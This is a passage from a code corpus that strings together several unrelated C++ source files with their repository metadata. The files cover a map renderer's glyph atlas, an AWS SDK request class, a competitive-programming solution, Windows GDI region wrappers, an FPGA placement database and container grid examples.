glyph is already in this texture. if (it != face.end()) { GlyphValue& value = it->second; value.ids.insert(tileUID); return value.rect; } // The glyph bitmap has zero width. if (glyph.bitmap.empty()) { return Rect<uint16_t>{ 0, 0, 0, 0 }; } uint16_t buffered_width = glyph.metrics.width + buffer * 2; uint16_t buffered_height = glyph.metrics.height + buffer * 2; // Add a 1px border around every image. const uint16_t padding = 1; uint16_t pack_width = buffered_width + 2 * padding; uint16_t pack_height = buffered_height + 2 * padding; // Increase to next number divisible by 4, but at least 1. // This is so we can scale down the texture coordinates and pack them // into 2 bytes rather than 4 bytes. pack_width += (4 - pack_width % 4); pack_height += (4 - pack_height % 4); Rect<uint16_t> rect = bin.allocate(pack_width, pack_height); if (rect.w == 0) { Log::Error(Event::OpenGL, "glyph bitmap overflow"); return rect; } assert(rect.x + rect.w <= width); assert(rect.y + rect.h <= height); face.emplace(glyph.id, GlyphValue { rect, tileUID }); // Copy the bitmap const uint8_t* source = reinterpret_cast<const uint8_t*>(glyph.bitmap.data()); for (uint32_t y = 0; y < buffered_height; y++) { uint32_t y1 = width * (rect.y + y + padding) + rect.x + padding; uint32_t y2 = buffered_width * y; for (uint32_t x = 0; x < buffered_width; x++) { data[y1 + x] = source[y2 + x]; } } dirty = true; return rect; } void GlyphAtlas::removeGlyphs(uintptr_t tileUID) { std::lock_guard<std::mutex> lock(mtx); for (auto& faces : index) { std::map<uint32_t, GlyphValue>& face = faces.second; for (auto it = face.begin(); it != face.end(); /* we advance in the body */) { GlyphValue& value = it->second; value.ids.erase(tileUID); if (value.ids.empty()) { const Rect<uint16_t>& rect = value.rect; // Clear out the bitmap. uint8_t *target = data.get(); for (uint32_t y = 0; y < rect.h; y++) { uint32_t y1 = width * (rect.y + y) + rect.x; for (uint32_t x = 0; x < rect.w; x++) { target[y1 + x] = 0; } } bin.release(rect); // Make sure to post-increment the iterator: This will return the // current iterator, but will go to the next position before we // erase the element from the map. That way, the iterator stays // valid. face.erase(it++); } else { ++it; } } } } void GlyphAtlas::upload(gl::Context& context, gl::TextureUnit unit) { if (dirty) { const bool first = !texture; bind(context, unit); std::lock_guard<std::mutex> lock(mtx); context.activeTexture = unit; if (first) { MBGL_CHECK_ERROR(glTexImage2D( GL_TEXTURE_2D, // GLenum target 0, // GLint level GL_ALPHA, // GLint internalformat width, // GLsizei width height, // GLsizei height 0, // GLint border GL_ALPHA, // GLenum format GL_UNSIGNED_BYTE, // GLenum type data.get() // const GLvoid* data )); } else { MBGL_CHECK_ERROR(glTexSubImage2D( GL_TEXTURE_2D, // GLenum target 0, // GLint level 0, // GLint xoffset 0, // GLint yoffset width, // GLsizei width height, // GLsizei height GL_ALPHA, // GLenum format GL_UNSIGNED_BYTE, // GLenum type data.get() // const GLvoid* data )); } dirty = false; } } void GlyphAtlas::bind(gl::Context& context, gl::TextureUnit unit) { if (!texture) { texture = context.createTexture(); context.activeTexture = unit; context.texture[unit] = *texture; #if not MBGL_USE_GLES2 MBGL_CHECK_ERROR(glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 0)); #endif MBGL_CHECK_ERROR(glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR)); MBGL_CHECK_ERROR(glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR)); MBGL_CHECK_ERROR(glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE)); MBGL_CHECK_ERROR(glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE)); } else if (context.texture[unit] != *texture) { context.activeTexture = unit; context.texture[unit] = *texture; } } } // namespace mbgl
32.224335
95
0.586431
[ "object" ]
2f8e94b4f7c559c1ed298a33119867696da391a7
693
cpp
C++
aws-cpp-sdk-schemas/source/model/UpdateRegistryRequest.cpp
Neusoft-Technology-Solutions/aws-sdk-cpp
88c041828b0dbee18a297c3cfe98c5ecd0706d0b
[ "Apache-2.0" ]
1
2022-02-10T08:06:54.000Z
2022-02-10T08:06:54.000Z
aws-cpp-sdk-schemas/source/model/UpdateRegistryRequest.cpp
Neusoft-Technology-Solutions/aws-sdk-cpp
88c041828b0dbee18a297c3cfe98c5ecd0706d0b
[ "Apache-2.0" ]
1
2022-01-03T23:59:37.000Z
2022-01-03T23:59:37.000Z
aws-cpp-sdk-schemas/source/model/UpdateRegistryRequest.cpp
ravindra-wagh/aws-sdk-cpp
7d5ff01b3c3b872f31ca98fb4ce868cd01e97696
[ "Apache-2.0" ]
1
2022-03-23T15:17:18.000Z
2022-03-23T15:17:18.000Z
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include <aws/schemas/model/UpdateRegistryRequest.h> #include <aws/core/utils/json/JsonSerializer.h> #include <utility> using namespace Aws::Schemas::Model; using namespace Aws::Utils::Json; using namespace Aws::Utils; UpdateRegistryRequest::UpdateRegistryRequest() : m_descriptionHasBeenSet(false), m_registryNameHasBeenSet(false) { } Aws::String UpdateRegistryRequest::SerializePayload() const { JsonValue payload; if(m_descriptionHasBeenSet) { payload.WithString("Description", m_description); } return payload.View().WriteReadable(); }
18.72973
69
0.746032
[ "model" ]
2f9159be3c312de9061d28a76f7d4d279dc81e5a
2,757
cpp
C++
advanced/1022.cpp
Gongyihang/PAT
7425be22b0a844fb7171560e034fd7a867680b49
[ "MIT" ]
null
null
null
advanced/1022.cpp
Gongyihang/PAT
7425be22b0a844fb7171560e034fd7a867680b49
[ "MIT" ]
null
null
null
advanced/1022.cpp
Gongyihang/PAT
7425be22b0a844fb7171560e034fd7a867680b49
[ "MIT" ]
null
null
null
#include <iostream> #include <algorithm> #include <vector> #include <string> #include <math.h> using namespace std; void query(string &s, int num, vector<vector<string>> &v) //论引用的重要性 { int flag = 0; if (num != 3) { for (int j = 0; j < v.size(); j++) { if (v[j][num + 1] == s) { flag++; cout << v[j][1] << endl; } } if (!flag) { cout << "Not Found" << endl; flag = 0; } } else { for (int j = 0; j < v.size(); j++) { // auto x = v[j][4].find(s); // if (x != string::npos) // { // flag++; // cout << v[j][1] << endl; // } for (int k = 0; k < v[j][4].size(); k++) { if (v[j][4][k] != ' ' && (k == 0 || v[j][4][k - 1] == ' ')) { if (v[j][4].substr(k, s.length()) == s) { flag++; cout << v[j][1] << endl; } } } } if (!flag) { cout << "Not Found" << endl; flag = 0; } } } int main() { int N = 0; cin >> N; getchar(); vector<vector<string>> v; for (int i = 0; i < N; i++) { vector<string> t(7); for (int j = 1; j < 7; j++) { getline(cin, t[j]); } v.push_back(t); } sort(v.begin(), v.end()); int M = 0; cin >> M; getchar(); string s = ""; for (int i = 0; i < M; i++) { string t_s = ""; getline(cin, t_s); int num = atoi(t_s.substr(0, 1).c_str()); s = t_s.substr(3); cout << t_s << endl; switch (num) { // cout << t_s << endl;//never be executed case 1: query(s, 1, v); break; case 2: query(s, 2, v); break; case 3: query(s, 3, v); break; case 4: query(s, 4, v); break; case 5: query(s, 5, v); break; } } system("pause"); return 0; } // void query(map<string, set<int>> &m, string &str) // { // if (m.find(str) != m.end()) // { // for (auto it = m[str].begin(); it != m[str].end(); it++) // printf("%07d\n", *it); // } // else // { // cout << "Not Found\n"; // } // } // string s; // vector<string> v; // while (cin >> s) // { // v.push_back(s); // char c = getchar(); // if (c == '\n') // { // break; // } // }
20.574627
75
0.324628
[ "vector" ]
2f9aa79afdfd31566c7dacb0f6523660ee520afe
4,633
cpp
C++
3p/ClassLib/GDI/rgn.cpp
stbrenner/NiLogViewer
e6fe2b57da6d7bd61983cf7e8f0ee3139cc0ce20
[ "MIT" ]
2
2018-11-20T15:58:08.000Z
2021-12-15T14:51:10.000Z
3p/ClassLib/GDI/rgn.cpp
stbrenner/NiLogViewer
e6fe2b57da6d7bd61983cf7e8f0ee3139cc0ce20
[ "MIT" ]
1
2016-12-27T08:26:27.000Z
2016-12-27T08:26:27.000Z
3p/ClassLib/GDI/rgn.cpp
ymx/NiLogViewer
e6fe2b57da6d7bd61983cf7e8f0ee3139cc0ce20
[ "MIT" ]
1
2016-08-09T10:44:48.000Z
2016-08-09T10:44:48.000Z
// // rgn.cpp // // (C) Copyright 2000 Jan van den Baard. // All Rights Reserved. // #include "rgn.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif // Constructor. ClsRgn::ClsRgn() { } // Destructor. ClsRgn::~ClsRgn() { } // Creates a rectangle region. BOOL ClsRgn::CreateRectRgn( int x1, int y1, int x2, int y2 ) { // Attach the object. Attach( ::CreateRectRgn( x1, y1, x2, y2 )); return ( BOOL )( m_hGdiObject ? TRUE : FALSE ); } // Creates a rectangle region. BOOL ClsRgn::CreateRectRgn( LPCRECT pRect ) { // Attach the object. Attach( ::CreateRectRgnIndirect( pRect )); return ( BOOL )( m_hGdiObject ? TRUE : FALSE ); } // Creates an elliptic region. BOOL ClsRgn::CreateEllipticRgn( int x1, int y1, int x2, int y2 ) { // Attach the object. Attach( ::CreateEllipticRgn( x1, y1, x2, y2 )); return ( BOOL )( m_hGdiObject ? TRUE : FALSE ); } // Creates an elliptic region. BOOL ClsRgn::CreateEllipticRgn( LPCRECT pRect ) { // Attach the object. Attach( ::CreateEllipticRgnIndirect( pRect )); return ( BOOL )( m_hGdiObject ? TRUE : FALSE ); } // Creates a polygon region. BOOL ClsRgn::CreatePolygonRgn( LPPOINT lpPoints, int nCount, int nMode ) { // Attach the object. Attach( ::CreatePolygonRgn( lpPoints, nCount, nMode )); return ( BOOL )( m_hGdiObject ? TRUE : FALSE ); } // Creates a polygon region. BOOL ClsRgn::CreatePolyPolygonRgn( LPPOINT lpPoints, LPINT lpPolyCounts, int nCount, int nPolyFillMode ) { // Attach the object. Attach( ::CreatePolyPolygonRgn( lpPoints, lpPolyCounts, nCount, nPolyFillMode )); return ( BOOL )( m_hGdiObject ? TRUE : FALSE ); } // Creates a rounded rectangle region. BOOL ClsRgn::CreateRoundRectRgn( int x1, int y1, int x2, int y2, int x3, int y3 ) { // Attach the object. Attach( ::CreateRoundRectRgn( x1, y1, x2, y2, x3, y3 )); return ( BOOL )( m_hGdiObject ? TRUE : FALSE ); } // Create a region from the data. BOOL ClsRgn::CreateFromData( const XFORM *lpXForm, int nCount, const RGNDATA *lpRgnData ) { // Attach the object. Attach( ::ExtCreateRegion( lpXForm, nCount, lpRgnData )); return ( BOOL )( m_hGdiObject ? TRUE : FALSE ); } // Create a region which is a combination of // two other regions. int ClsRgn::CombineRgn( ClsRgn *pRgn1, ClsRgn *pRgn2, int nCombineMode ) { _ASSERT_VALID( m_hGdiObject ); // Must be valid. // Combine the regions. return ::CombineRgn(( HRGN )m_hGdiObject, *pRgn1, *pRgn2, nCombineMode ); } // Copy a region into this region. int ClsRgn::CopyRgn( ClsRgn *pRgnSrc ) { _ASSERT_VALID( m_hGdiObject ); // Must be valid. // Copy the region. return ::CombineRgn(( HRGN )m_hGdiObject, *pRgnSrc, NULL, RGN_COPY ); } // Is the region equal to this one? BOOL ClsRgn::EqualRgn( ClsRgn *pRgnSrc ) const { _ASSERT_VALID( m_hGdiObject ); // Must be valid. return ::EqualRgn(( HRGN )m_hGdiObject, *pRgnSrc ); } // Get region data. int ClsRgn::GetRegionData( LPRGNDATA lpRgnData, int nCount ) const { _ASSERT_VALID( m_hGdiObject ); // Must be valid. return ::GetRegionData(( HRGN )m_hGdiObject, nCount, lpRgnData ); } // Get region box. int ClsRgn::GetRgnBox( LPRECT pRect ) const { _ASSERT_VALID( m_hGdiObject ); // Must be valid. return ::GetRgnBox(( HRGN )m_hGdiObject, pRect ); } // Offset the region. int ClsRgn::OffsetRgn( POINT point ) { _ASSERT_VALID( m_hGdiObject ); // Must be valid. return ::OffsetRgn(( HRGN )m_hGdiObject, point.x, point.y ); } // Offset the region. int ClsRgn::OffsetRgn( int x, int y ) { _ASSERT_VALID( m_hGdiObject ); // Must be valid. return ::OffsetRgn(( HRGN )m_hGdiObject, x, y ); } // Is the point inside the region. BOOL ClsRgn::PtInRegion( POINT point ) const { _ASSERT_VALID( m_hGdiObject ); // Must be valid. return ::PtInRegion(( HRGN )m_hGdiObject, point.x, point.y ); } // Is the point inside the region. BOOL ClsRgn::PtInRegion( int x, int y ) const { _ASSERT_VALID( m_hGdiObject ); // Must be valid. return ::PtInRegion(( HRGN )m_hGdiObject, x, y ); } // Set the region to the rectangle. void ClsRgn::SetRectRgn( int x1, int y1, int x2, int y2 ) { _ASSERT_VALID( m_hGdiObject ); // Must be valid. ::SetRectRgn(( HRGN )m_hGdiObject, x1, y1, x2, y2 ); } // Set the region to the rectangle. void ClsRgn::SetRectRgn( LPCRECT pRect ) { _ASSERT_VALID( m_hGdiObject ); // Must be valid. ::SetRectRgn(( HRGN )m_hGdiObject, pRect->left, pRect->top, pRect->right, pRect->bottom ); } // Return the object of the handle. ClsRgn *ClsRgn::FromHandle( HRGN hRgn ) { return ( ClsRgn * )ClsGdiObject::FromHandle( hRgn ); } // Operator overload. ClsRgn::operator HRGN() const { return ( HRGN )m_hGdiObject; }
24.130208
104
0.692208
[ "object" ]
2fa7ae7e8edb8c5e6d46df72bf3bea2af174e578
14,016
cpp
C++
dreamplacefpga/ops/place_io/src/PlaceDB.cpp
rachelselinar/DREAMPlaceFPGA
b8dd961718144a7c2471dd670379c3d1923171f9
[ "BSD-3-Clause" ]
20
2021-11-05T13:20:50.000Z
2022-03-22T17:16:08.000Z
dreamplacefpga/ops/place_io/src/PlaceDB.cpp
rachelselinar/DREAMPlaceFPGA
b8dd961718144a7c2471dd670379c3d1923171f9
[ "BSD-3-Clause" ]
1
2022-01-25T07:35:26.000Z
2022-01-26T03:08:45.000Z
dreamplacefpga/ops/place_io/src/PlaceDB.cpp
rachelselinar/DREAMPlaceFPGA
b8dd961718144a7c2471dd670379c3d1923171f9
[ "BSD-3-Clause" ]
5
2021-11-16T14:33:37.000Z
2022-03-16T02:21:51.000Z
/************************************************************************* > File Name: PlaceDB.cpp > Author: Yibo Lin (DREAMPlace), Rachel Selina Rajarathnam (DREAMPlaceFPGA) > Mail: yibolin@utexas.edu > Created Time: Mon 14 Mar 2016 09:22:46 PM CDT > Updated: Mar 2021 ************************************************************************/ #include "PlaceDB.h" #include <numeric> #include <algorithm> #include <cmath> #include "BookshelfWriter.h" #include "Iterators.h" #include "utility/src/utils.h" DREAMPLACE_BEGIN_NAMESPACE /// default constructor PlaceDB::PlaceDB() { num_movable_nodes = 0; num_fixed_nodes = 0; m_numLibCell = 0; m_numLUT = 0; m_numFF = 0; m_numDSP = 0; m_numRAM = 0; } void PlaceDB::add_bookshelf_node(std::string& name, std::string& type) { double sqrt0p0625(std::sqrt(0.0625)), sqrt0p125(std::sqrt(0.125)); //Updated approach if (limbo::iequals(type, "FDRE")) { node_name2id_map.insert(std::make_pair(name, mov_node_names.size())); flop_indices.emplace_back(mov_node_names.size()); mov_node_names.emplace_back(name); mov_node_types.emplace_back(type); node2fence_region_map.emplace_back(1); mov_node_size_x.push_back(sqrt0p0625); mov_node_size_y.push_back(sqrt0p0625); mov_node_x.emplace_back(0.0); mov_node_y.emplace_back(0.0); mov_node_z.emplace_back(0); lut_type.emplace_back(0); m_numFF += 1; ++num_movable_nodes; } else if (limbo::iequals(type, "LUT2")) { node_name2id_map.insert(std::make_pair(name, mov_node_names.size())); mov_node_names.emplace_back(name); mov_node_types.emplace_back(type); node2fence_region_map.emplace_back(0); mov_node_size_x.push_back(sqrt0p0625); mov_node_size_y.push_back(sqrt0p0625); mov_node_x.emplace_back(0.0); mov_node_y.emplace_back(0.0); mov_node_z.emplace_back(0); lut_type.emplace_back(1); m_numLUT += 1; ++num_movable_nodes; } else if (limbo::iequals(type, "LUT3")) { node_name2id_map.insert(std::make_pair(name, mov_node_names.size())); mov_node_names.emplace_back(name); mov_node_types.emplace_back(type); node2fence_region_map.emplace_back(0); mov_node_size_x.push_back(sqrt0p0625); mov_node_size_y.push_back(sqrt0p0625); mov_node_x.emplace_back(0.0); mov_node_y.emplace_back(0.0); mov_node_z.emplace_back(0); lut_type.emplace_back(2); m_numLUT += 1; ++num_movable_nodes; } else if (limbo::iequals(type, "LUT4")) { node_name2id_map.insert(std::make_pair(name, mov_node_names.size())); mov_node_names.emplace_back(name); mov_node_types.emplace_back(type); node2fence_region_map.emplace_back(0); mov_node_size_x.push_back(sqrt0p125); mov_node_size_y.push_back(sqrt0p125); mov_node_x.emplace_back(0.0); mov_node_y.emplace_back(0.0); mov_node_z.emplace_back(0); lut_type.emplace_back(3); m_numLUT += 1; ++num_movable_nodes; } else if (limbo::iequals(type, "LUT5")) { node_name2id_map.insert(std::make_pair(name, mov_node_names.size())); mov_node_names.emplace_back(name); mov_node_types.emplace_back(type); node2fence_region_map.emplace_back(0); mov_node_size_x.push_back(sqrt0p125); mov_node_size_y.push_back(sqrt0p125); mov_node_x.emplace_back(0.0); mov_node_y.emplace_back(0.0); mov_node_z.emplace_back(0); lut_type.emplace_back(4); m_numLUT += 1; ++num_movable_nodes; } else if (limbo::iequals(type, "LUT6")) { node_name2id_map.insert(std::make_pair(name, mov_node_names.size())); mov_node_names.emplace_back(name); mov_node_types.emplace_back(type); node2fence_region_map.emplace_back(0); mov_node_size_x.push_back(sqrt0p125); mov_node_size_y.push_back(sqrt0p125); mov_node_x.emplace_back(0.0); mov_node_y.emplace_back(0.0); mov_node_z.emplace_back(0); lut_type.emplace_back(5); m_numLUT += 1; ++num_movable_nodes; } else if (type.find("DSP") != std::string::npos) { node_name2id_map.insert(std::make_pair(name, mov_node_names.size())); mov_node_names.emplace_back(name); mov_node_types.emplace_back(type); node2fence_region_map.emplace_back(2); mov_node_size_x.push_back(1.0); mov_node_size_y.push_back(2.5); mov_node_x.emplace_back(0.0); mov_node_y.emplace_back(0.0); mov_node_z.emplace_back(0); lut_type.emplace_back(0); m_numDSP += 1; ++num_movable_nodes; } else if (type.find("RAM") != std::string::npos) { node_name2id_map.insert(std::make_pair(name, mov_node_names.size())); mov_node_names.emplace_back(name); mov_node_types.emplace_back(type); node2fence_region_map.emplace_back(3); mov_node_size_x.push_back(1.0); mov_node_size_y.push_back(5.0); mov_node_x.emplace_back(0.0); mov_node_y.emplace_back(0.0); mov_node_z.emplace_back(0); lut_type.emplace_back(0); m_numRAM += 1; ++num_movable_nodes; } else if (type.find("BUF") != std::string::npos) { fixed_node_name2id_map.insert(std::make_pair(name, fixed_node_names.size())); fixed_node_names.emplace_back(name); fixed_node_types.emplace_back(type); fixed_node_x.emplace_back(0.0); fixed_node_y.emplace_back(0.0); fixed_node_z.emplace_back(0); ++num_fixed_nodes; } else { dreamplacePrint(kWARN, "Unknown type component found in .nodes file: %s, %s\n", name.c_str(), type.c_str()); } std::vector<index_type> temp; node2pin_map.emplace_back(temp); node2outpinIdx_map.emplace_back(0); node2pincount_map.emplace_back(0); } void PlaceDB::add_bookshelf_net(BookshelfParser::Net const& n) { // check the validity of nets // if a node has multiple pins in the net, only one is kept std::vector<BookshelfParser::NetPin> vNetPin = n.vNetPin; index_type netId(net_names.size()); net2pincount_map.emplace_back(vNetPin.size()); net_name2id_map.insert(std::make_pair(n.net_name, netId)); net_names.emplace_back(n.net_name); std::vector<index_type> netPins; if (flat_net2pin_start_map.size() == 0) { flat_net2pin_start_map.emplace_back(0); } for (unsigned i = 0, ie = vNetPin.size(); i < ie; ++i) { BookshelfParser::NetPin const& netPin = vNetPin[i]; index_type nodeId, pinId(pin_names.size()); pin_names.emplace_back(netPin.pin_name); pin2net_map.emplace_back(netId); string2index_map_type::iterator found = node_name2id_map.find(netPin.node_name); std::string nodeType; if (found != node_name2id_map.end()) { nodeId = node_name2id_map.at(netPin.node_name); pin2nodeType_map.emplace_back(node2fence_region_map[nodeId]); pin_offset_x.emplace_back(0.5*mov_node_size_x[nodeId]); pin_offset_y.emplace_back(0.5*mov_node_size_y[nodeId]); nodeType = mov_node_types[nodeId]; } else { string2index_map_type::iterator fnd = fixed_node_name2id_map.find(netPin.node_name); if (fnd != fixed_node_name2id_map.end()) { nodeId = fixed_node_name2id_map.at(netPin.node_name); pin2nodeType_map.emplace_back(4); pin_offset_x.emplace_back(0.5); pin_offset_y.emplace_back(0.5); nodeType = fixed_node_types[nodeId]; nodeId += num_movable_nodes; } } std::string pType(""); LibCell const& lCell = m_vLibCell.at(m_LibCellName2Index.at(nodeType)); index_type pinTypeId(lCell.pinType(netPin.pin_name)); switch(pinTypeId) { case 2: //CLK { pType = "CK"; break; } case 3: //CTRL { if (netPin.pin_name.find("CE") != std::string::npos) { pType = "CE"; } else { pType = "SR"; pinTypeId = 4; } break; } default: { break; } } pin_types.emplace_back(pType); pin_typeIds.emplace_back(pinTypeId); ++node2pincount_map[nodeId]; pin2node_map.emplace_back(nodeId); node2pin_map[nodeId].emplace_back(pinId); if (pinTypeId == 0) //Output pin { node2outpinIdx_map[nodeId] = pinId; } netPins.emplace_back(pinId); flat_net2pin_map.emplace_back(pinId); } flat_net2pin_start_map.emplace_back(flat_net2pin_map.size()); net2pin_map.emplace_back(netPins); } void PlaceDB::resize_sites(int xSize, int ySize) { m_dieArea.set(0, 0, xSize, ySize); m_siteDB.resize(xSize, std::vector<index_type>(ySize, 0)); } void PlaceDB::site_info_update(int x, int y, int val) { m_siteDB[x][y] = val; } void PlaceDB::resize_clk_regions(int xReg, int yReg) { m_clkRegX = xReg; m_clkRegY = yReg; } void PlaceDB::add_clk_region(std::string const& name, int xl, int yl, int xh, int yh, int xm, int ym) { clk_region temp; temp.xl = xl; temp.yl = yl; temp.xh = xh; temp.yh = yh; temp.xm = xm; temp.ym = ym; m_clkRegionDB.emplace_back(temp); m_clkRegions.emplace_back(name); } void PlaceDB::add_lib_cell(std::string const& name) { string2index_map_type::iterator found = m_LibCellName2Index.find(name); if (found == m_LibCellName2Index.end()) // Ignore if already exists { m_vLibCell.push_back(LibCell(name)); LibCell& lCell = m_vLibCell.back(); //lCell.setName(name); lCell.setId(m_vLibCell.size() - 1); std::pair<string2index_map_type::iterator, bool> insertRet = m_LibCellName2Index.insert(std::make_pair(lCell.name(), lCell.id())); dreamplaceAssertMsg(insertRet.second, "failed to insert libCell (%s, %d)", lCell.name().c_str(), lCell.id()); m_numLibCell = m_vLibCell.size(); // update number of libCells } m_libCellTemp = name; } void PlaceDB::add_input_pin(std::string& pName) { string2index_map_type::iterator found = m_LibCellName2Index.find(m_libCellTemp); if (found != m_LibCellName2Index.end()) { LibCell& lCell = m_vLibCell.at(m_LibCellName2Index.at(m_libCellTemp)); lCell.addInputPin(pName); } else { dreamplacePrint(kWARN, "libCell not found in .lib file: %s\n", m_libCellTemp.c_str()); } } void PlaceDB::add_output_pin(std::string& pName) { string2index_map_type::iterator found = m_LibCellName2Index.find(m_libCellTemp); if (found != m_LibCellName2Index.end()) { LibCell& lCell = m_vLibCell.at(m_LibCellName2Index.at(m_libCellTemp)); lCell.addOutputPin(pName); } else { dreamplacePrint(kWARN, "libCell not found in .lib file: %s\n", m_libCellTemp.c_str()); } } void PlaceDB::add_clk_pin(std::string& pName) { string2index_map_type::iterator found = m_LibCellName2Index.find(m_libCellTemp); if (found != m_LibCellName2Index.end()) { LibCell& lCell = m_vLibCell.at(m_LibCellName2Index.at(m_libCellTemp)); lCell.addClkPin(pName); } else { dreamplacePrint(kWARN, "libCell not found in .lib file: %s\n", m_libCellTemp.c_str()); } } void PlaceDB::add_ctrl_pin(std::string& pName) { string2index_map_type::iterator found = m_LibCellName2Index.find(m_libCellTemp); if (found != m_LibCellName2Index.end()) { LibCell& lCell = m_vLibCell.at(m_LibCellName2Index.at(m_libCellTemp)); lCell.addCtrlPin(pName); } else { dreamplacePrint(kWARN, "libCell not found in .lib file: %s\n", m_libCellTemp.c_str()); } } void PlaceDB::set_bookshelf_node_pos(std::string const& name, double x, double y, int z) { string2index_map_type::iterator found = fixed_node_name2id_map.find(name); //bool fixed(true); if (found != fixed_node_name2id_map.end()) { fixed_node_x.at(fixed_node_name2id_map.at(name)) = x; fixed_node_y.at(fixed_node_name2id_map.at(name)) = y; fixed_node_z.at(fixed_node_name2id_map.at(name)) = z; } else { //string2index_map_type::iterator fnd = mov_node_name2id_map.find(name); mov_node_x.at(node_name2id_map.at(name)) = x; mov_node_y.at(node_name2id_map.at(name)) = y; mov_node_z.at(node_name2id_map.at(name)) = z; } } void PlaceDB::set_bookshelf_design(std::string& name) { m_designName.swap(name); } void PlaceDB::bookshelf_end() { // // parsing bookshelf format finishes // // now it is necessary to init data that is not set in bookshelf //Flatten node2pin flat_node2pin_map.reserve(pin_names.size()); flat_node2pin_start_map.emplace_back(0); for (const auto& sub : node2pin_map) { flat_node2pin_map.insert(flat_node2pin_map.end(), sub.begin(), sub.end()); flat_node2pin_start_map.emplace_back(flat_node2pin_map.size()); } for (auto& el : fixed_node_name2id_map) { el.second += num_movable_nodes; } node_name2id_map.insert(fixed_node_name2id_map.begin(), fixed_node_name2id_map.end()); } bool PlaceDB::write(std::string const& filename) const { return write(filename, NULL, NULL); } bool PlaceDB::write(std::string const& filename, float const* x, float const* y, PlaceDB::index_type const* z) const { return BookShelfWriter(*this).write(filename, x, y, z); } DREAMPLACE_END_NAMESPACE
32.595349
101
0.634775
[ "vector" ]
2faf13e7d9e89433fd29470bd4fe65f415e4fd36
741
cc
C++
app/oxs/base/atlas.cc
ViennaNovoFlop/ViennaNovoFlop-dev
f8c4d6c06590a0d9a3890d81e9b0b4dcb7ea9e00
[ "TCL", "SWL", "MIT", "X11", "BSD-3-Clause" ]
null
null
null
app/oxs/base/atlas.cc
ViennaNovoFlop/ViennaNovoFlop-dev
f8c4d6c06590a0d9a3890d81e9b0b4dcb7ea9e00
[ "TCL", "SWL", "MIT", "X11", "BSD-3-Clause" ]
null
null
null
app/oxs/base/atlas.cc
ViennaNovoFlop/ViennaNovoFlop-dev
f8c4d6c06590a0d9a3890d81e9b0b4dcb7ea9e00
[ "TCL", "SWL", "MIT", "X11", "BSD-3-Clause" ]
null
null
null
/* FILE: atlas.cc -*-Mode: c++-*- * * Atlas class, derived from OXS extension class. * */ #include "atlas.h" /* End includes */ // Constructors Oxs_Atlas::Oxs_Atlas ( const char* name, // Child instance id Oxs_Director* newdtr // App director ) : Oxs_Ext(name,newdtr) {} Oxs_Atlas::Oxs_Atlas ( const char* name, // Child instance id Oxs_Director* newdtr, // App director const char* argstr // MIF block argument string ) : Oxs_Ext(name,newdtr,argstr) {} void Oxs_Atlas::GetRegionList(vector<String>& regions) const { regions.clear(); const OC_UINT4m count = GetRegionCount(); for(OC_UINT4m i=0;i<count;++i) { String tmp; if(GetRegionName(i,tmp)) regions.push_back(tmp); } }
19.5
60
0.647773
[ "vector" ]
2fc0c4f4ae5e77ab42a813e81a9d779e2d63645a
3,568
cpp
C++
examples/container/grid.cpp
vinzenz/fcppt
3f8cc5babdee178a9bbd06ca3ce7ad405d19aa6a
[ "BSL-1.0" ]
null
null
null
examples/container/grid.cpp
vinzenz/fcppt
3f8cc5babdee178a9bbd06ca3ce7ad405d19aa6a
[ "BSL-1.0" ]
null
null
null
examples/container/grid.cpp
vinzenz/fcppt
3f8cc5babdee178a9bbd06ca3ce7ad405d19aa6a
[ "BSL-1.0" ]
null
null
null
// Copyright Carl Philipp Reh 2009 - 2016. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #include <fcppt/no_init.hpp> #include <fcppt/text.hpp> #include <fcppt/container/grid/interpolate.hpp> #include <fcppt/container/grid/object.hpp> #include <fcppt/io/cout.hpp> #include <fcppt/math/interpolation/linear_functor.hpp> #include <fcppt/config/external_begin.hpp> #include <iostream> #include <fcppt/config/external_end.hpp> namespace { //! [grid_simple] // typedef a three dimensional grid of ints typedef fcppt::container::grid::object< int, 3 > int3d_grid; void use_grid() { // Create a 5 by 10 by 20 grid. int3d_grid grid( int3d_grid::dim( 5u, 10u, 20u ), 0 ); // Set the value on position (1,2,3) to 42 grid[ int3d_grid::pos( 1u, 2u, 3u ) ] = 42; fcppt::io::cout() << grid[ int3d_grid::pos( 1u, 2u, 3u ) ] << FCPPT_TEXT('\n'); } //! [grid_simple] } namespace { void init() { //! [grid_init] typedef fcppt::container::grid::object< int, 2 > int2d_grid; // Initialize all cells to 42 int2d_grid const all_42( int2d_grid::dim( 3u, 2u ), 42 ); // Initialize using a function int2d_grid const init_function( int2d_grid::dim( 3u, 2u ), []( int2d_grid::pos const _pos ) { return _pos.x() == _pos.y() ? 1 : 0 ; } ); // Don't initialize the grid int2d_grid uninit( int2d_grid::dim( 3u, 4U ), fcppt::no_init{} ); uninit[ int2d_grid::pos( 3u, 2u ) ] = 10; //! [grid_init] } } //! [grid_resize] #include <fcppt/no_init.hpp> #include <fcppt/container/grid/output.hpp> #include <fcppt/container/grid/resize_preserve_init.hpp> #include <fcppt/config/external_begin.hpp> #include <algorithm> #include <fcppt/config/external_end.hpp> namespace { typedef fcppt::container::grid::object< int, 2 > int2d_grid; void resize_grid() { int2d_grid grid( int2d_grid::dim( 2u, 3u ), fcppt::no_init{} ); { int count = 0; // Initialize the grid with numbers from 0 to 5. // Note, that a grid will always be laid out in memory such that // the lower dimensions are closer together. std::generate( grid.begin(), grid.end(), [ &count ]() { return count++; } ); } fcppt::io::cout() << grid << FCPPT_TEXT('\n'); // Give the grid one more row and column and initialize those with 42. fcppt::container::grid::resize_preserve_init( grid, int2d_grid::dim( 3u, 4u ), 42 ); fcppt::io::cout() << grid << FCPPT_TEXT('\n'); } } //! [grid_resize] namespace { //! [grid_interpolate] typedef fcppt::container::grid::object< float, 2 > float2d_grid; typedef 